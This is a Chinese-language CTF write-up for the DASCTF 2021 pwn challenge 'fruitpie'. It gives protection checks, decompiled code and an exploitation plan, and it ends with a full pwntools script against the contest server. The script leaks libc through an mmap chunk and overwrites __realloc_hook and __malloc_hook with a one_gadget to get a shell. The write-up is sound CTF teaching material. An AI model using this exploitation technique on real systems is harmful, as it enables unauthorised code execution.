DASCTF_2021_3

pwn

fruitpie

保护全开

1
2
3
4
5
6
[*] '/home/trick/Desktop/fruitpie'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t size; // [rsp+4h] [rbp-1Ch]
char *v5; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
welcome();
puts("Enter the size to malloc:");
LODWORD(size) = readInt("Enter the size to malloc:");
v5 = (char *)malloc((unsigned int)size);
if ( !v5 )
{
puts("Malloc Error");
exit(0);
}
printf("%p\n", v5);
puts("Offset:");
_isoc99_scanf("%llx", (char *)&size + 4);
puts("Data:");
read(0, &v5[*(size_t *)((char *)&size + 4)], 0x10uLL);
malloc(0xA0uLL);
close(1);
return 0;
}

利用思路

  • 获取libc_base:当申请一个足够大的堆时会由mmap分配,此时程序会给我们chunk的地址,而这个地址紧挨着libc并且偏移固定
  • 将one_gadget写到realloc_hook地址中,在malloc_hook的地址写入realloc + x来调整栈帧,x的取值可以有2,4,6,8,9。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context.log_level="debug"

context.arch="amd64"

p = remote('183.129.189.60',10018)

#p = process("./fruitpie")

libc = ELF('./libc.so.6')

p.sendlineafter('Enter the size to malloc:','99999999')

p.recvuntil('0x')

addr = int(p.recv(12),16)

print hex(addr)

libc_base = addr + 0x5f5eff0

one = [0x4f365,0x4f3c2,0x10a45c]

malloc_hook = libc_base + libc.symbols['__malloc_hook']

realloc_hook = malloc_hook - 0x8

realloc = libc_base + libc.symbols['realloc']

one_gadget = libc_base + one[1] #0x4f3c2

offset = realloc_hook - addr

print hex(realloc_hook)

p.sendlineafter('Offset:',hex(offset))

#gdb.attach(p)

p.sendlineafter('Data:',p64(one_gadget) + p64(realloc+4))

p.interactive()